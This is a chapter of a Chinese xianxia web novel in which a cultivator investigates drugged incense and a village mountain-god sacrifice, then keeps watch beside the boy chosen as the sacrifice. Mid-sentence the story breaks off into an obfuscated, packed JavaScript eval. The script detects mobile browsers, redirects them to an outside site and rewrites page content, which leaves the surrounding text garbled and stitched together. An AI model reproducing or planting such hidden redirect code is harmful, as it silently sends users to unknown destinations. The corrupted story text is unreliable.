两人落地，最先看到的就是蹲坐在巨大香炉炉柄上的孟清，然后就是满地横七竖八的修士。
青年嘴里吊儿郎当地叼着根香，有一下没一下的晃荡，看起来像在思考什么。
“孟清。”
“师姐！”
比脑子先动的是嘴，孟清甚至没回头。
他从小被师尊领进门的时候，就习惯了衣月华一开口，他必须答应，作为二师兄，后来进门的每一位师弟师妹他都是这么教的。
衣月华将勿负颜拎下放在地上，勿负颜愣愣看着眼前一幕∶小说里好像没写这个？她出现的蝴蝶效应这么强吗？这里应该是打晕温不书就结束了才对。
“在想什么？”
衣月华也上了香炉，这个香炉很大，几乎媲美一个小型广场，两个人站在正中显得有些渺小，透过密密的雕花缝隙，能看到炉里铺满棕灰色的香灰，此刻里面一根香也没有。
“这个香味道不对，除了我说的那些，好像还有什么，我尝不出来。”
孟清抓着头发眉头紧锁，好似遇到什么难题。
“不应该啊，草药通识课我可是满分，这到底是什么？偏门的禁书灵骨血我也偷看了，这个味道不对……都不对，到底是什么呢。”
“我刚刚听说这里平民中有山神祭，”衣月华掰断他嘴里的香，拿着一节点燃，然后对着哼哧哼哧刚爬上香炉的勿负颜招手∶
“负颜，你过来闻闻是不是这个味道。”
勿负颜觉得衣月华在招小狗，但是她没有证据，最后只敢小跑过去。
“这个味道要淡一点，但是确实是那个味道！”
勿负颜像小狗一样围着香嗅了嗅，然后笃定地点头。
“或许是引子，你闻到这个香有产生什么幻境或者信仰吗？”
衣月华问这里唯一的小白鼠颜。
“没有吧……可能有点馋炸鸡？”
“这是正常的冥梦花的效果，会加深人对执念的渴望。毒珀草可以加强冥梦花负面药力，不过这一根香剂量太小，因人而异。”
孟清说到这瞟了一眼小女孩，眼里明晃晃的笑意就是在说她嘴馋。
哇噻，这个师门没有正常人吗？
她还是个孩子！嘴馋怎么了！
勿负颜勉强跟着笑了一下，十分刻意，但没有人搭理。
“躺着的几位都是索道宗的长老，以防万一我清除了打晕他们时的记忆，约莫一刻钟后就会醒，这次的收徒大典需要让他们暂停吗？”
孟清察觉了事情走向不对，简略说明了一下刚才发生了什么∶一进门就被引入了香室，说是早就听闻他对香道的痴迷，特地请他鉴赏宗门特有的香料。
他将各种线香盘香篆香塔香都过了一遍，平平无奇、但都参杂着一丝奇怪的味道。
然后，几个长老突然就带着他来了这个地方，说是要燃天香，还按照奇怪的站位施法，他直接都给打晕了。
大部分修士的直觉是很准的，哪怕他如今修为不低，也不会去以身犯没必要的险。
更何况他还有师姐！
衣月华听完，对于孟清突然的的夸夸没有表示，但一旁跟着听故事的勿负颜明显看到她嘴角上扬了三个像素点！
呵，女人。
“暂时不要打草惊蛇，负颜去参加索道宗的收徒大典，你暂时将五感封闭仅靠神识守株待兔，我去跟着山神祭祀。玉符联系。”
“我吗？”
“祭祀？什么祭祀？”
两个人异口同声，勿负颜看看自己的小胳膊小腿，又看看完全状况外的孟清，悲从中来。
她该知道的，小说里衣月华收徒靠打晕、修炼靠剔骨、斩魔把自己当封印，对别人狠对自己狠，怎么可能让她同情自己这么一个娇弱的小女孩。
衣月华看了一眼勿负颜，小孩失落的很明显，想了想正要许诺好处，勿负颜开口了∶
“曜日大人，请问您修的是无情道吗？”
衣月华∶？
“听说无情道很难毕业的，您要三思啊！”
衣月华和孟清∶？
不知道为什么，说完这两句话勿负颜明显的开心起来，看起来是给自己说美了。
有些无奈地轻轻敲了敲勿负颜的脑袋，衣月华丢给她几叠符箓、玉瓶和传讯玉符，看向孟清。
“你教她怎么用，带她去测灵根的广场，”然后又看向勿负颜∶“这个是伪灵丸，每12个时辰吃一颗。”
“为什么要吃伪灵丸，她天赋很差吗？”
孟清此时才总算想起自己不认识这个小女孩，拿过一个青色的玉瓶，打开是满满的丹药。
“还是伪装单木灵根，这么好的天赋，被拆穿就完啦！”
勿负颜心一跳，隐隐约约明白了什么，她想，这个药或许还有遮掩魔族血脉的作用。
曜日仙尊什么都知道。
“照做就好，早点结束。”
衣月华没有解释，召来木剑化作小舟，自己独自离开。
再次回到小破屋子，衣月华直接走了进去，那个骂骂咧咧的男人已经不见了，只有温不书被锁链铐在了一把破烂的太师椅上，坐在空荡荡的房间正中央。
嗯……那个男人实在不怎么聪明的样子。
没有困阵、没有陷阱，就算她不来，温不书难道不能搬着椅子逃跑吗？
“您好，您是来救我的吗？”
温不书听到动静的那一刻就抬起了头，看到她时眼睛就亮了，然后就乖乖巧巧笑了起来。
真是奇怪的表现。
衣月华确定他不认识自己，他看向自己的眼神是陌生的，却有一种天然的信任感，是因为修士这个身份为她镀了一层金吗？
可他被这么对待，很难说没有修士的手笔。
“暂时不能救你，吾想见见你们的山神。”
她轻飘飘打破了他的期望，温不书的表情丝毫没变，甚至带着奇怪的满足感。
“如果能帮到您真是太好了。”
衣月华难得失语，一直默默漂浮的木剑凹成了小椅子的形状，她用了隐匿法术就坐在了温不书旁边。
空气很安静，温不书好似依旧能看到她，但是却再没开口。
难得的，她开始回忆起第一世见到温不书的场景。
明明一个照面就被她打晕带走了，醒来时也没有搞清楚状况，她只是说她缺一个徒弟，他就答应了。
很乖，和现在一样，甚至好似他才是纵容的那一方。
可是后来她太忙了，大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412361|200701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多时候都是任其自生自灭，偶尔检验他的功课，没有什么惊才绝艳的地方，过于平庸就是错。
她不后悔那么对他，如果是为了这个世界的存续，作为她的徒弟就该有牺牲的觉悟。
她永远记得当初剔骨断修抢机缘时温不书的表情，没有愤懑没有不可置信，只有平静。
他好像早就知道会有这么一天，看她走向他时只有眉眼弯弯的笑意，说∶“师尊，你回来了。”
她没有杀了他，不需要也没必要，她本打算如果活着回来就将东西都还他，只是她死在了封印里。
每二十年一循环，如今甚至不到百年，她和温不书每一世的交集都越来越少，不是因为愧疚，只因为没用的东西不需要了而已。
她早就将温不书定义成了没用的人，如今想来，她好像唯独对他苛刻。
是因为测算时代表唯一希望的暗星落在他身上，所以她不服吗？
衣月华想了很多，视线不自觉落在了温不书身上。
少年如今身姿单薄，青衫上补丁明显，眉眼低垂神态安宁，倒是看不出马上要被当祭品的慌乱。
“另一个祭品，你知道是谁吗？”
或许是太安静了，衣月华忍不住开口问。
温不书轻轻看了她一眼，移开目光看向面前那扇漏着光的纸窗，灰尘沉浮，他的语气也轻轻的∶
“不知道，他们说祭品不需要见面。”
衣月华∶“你之前没有出去打听过吗？”
温不书依旧摇头，“我很少出门，因为祭品身上不能有磕碰伤痕，总是有很多不认识的人来看我。自从……勿负颜来后，那些人少了很多，她总在我身边。看着我。”
衣月华怔了一瞬∶“她不是你的朋友吗？”
温不书柔柔笑开∶“或许吧。她替我挡了很多人，也接了看守我的任务。她太小了，说要等她长大了找到机会带我走，一直小心的守着我，如今我已经十六了。”
所以来不及了。
衣月华读懂了他的未尽之语，却也明白勿负颜那个性格，应该真的是想让温不书好过一点才接下这个差事的。
“害怕吗？”
衣月华听到自己出声。
温不书直视她的眼睛∶
“有您在，我不害怕的。”
他好像真觉得自己是什么好人。
衣月华想。
不过她确实是。
“那小子不会逃跑吧？杨家那姑娘早些时候逃了，现在找回来浑身是伤，请到药老了吗？”
“请到了！药老说那小娘子没有灵根，无法承受太多灵力治疗，现在正想办法呢！”
“不能换人吗？”
“人都是山神自己选的，怎么换？不要命啦！”
“还好还有个完整的祭品。温家的，你们那边没问题吧？！”
“没有没有，那小子乖得很呢！放心吧！”
嚣张的、恐惧的、阿谀奉承的声音远远传进衣月华耳朵里。
距离太远，温不书依旧是那副无动于衷的模样，似是没听到。
一阵由远及近的脚步声，木门被撞开，一堆男人看到独自坐在正中的温不书时，长长舒了口气∶
“走吧，该去给你好好打扮一番了。”